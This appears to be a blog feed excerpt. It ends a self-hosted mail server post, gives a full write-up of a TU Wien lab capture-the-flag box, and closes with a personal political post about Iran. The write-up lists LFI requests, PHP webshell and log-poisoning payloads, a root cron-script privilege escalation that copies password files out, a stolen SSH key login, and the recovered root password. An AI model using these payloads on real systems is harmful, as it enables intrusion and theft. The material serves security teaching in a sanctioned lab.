    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    H3ll0 Fr1endhttps://blog.alipour.eu/posts/h3ll0_fr1end/Sat, 02 May 2026 16:17:02 +0000https://blog.alipour.eu/posts/h3ll0_fr1end/<p>Hello friends. I&rsquo;m back. It&rsquo;s been&hellip; let&rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I&rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it&rsquo;s shadow over the country for decades. It&rsquo;s funny how his father (I&rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people&rsquo;s lives, and then selling people&rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it&rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not &ldquo;own&rdquo; makes him the best candidate for exploitation. And he has shown this very well.</p>Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

    +

    The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

    +

    It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

    +

    The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

    +

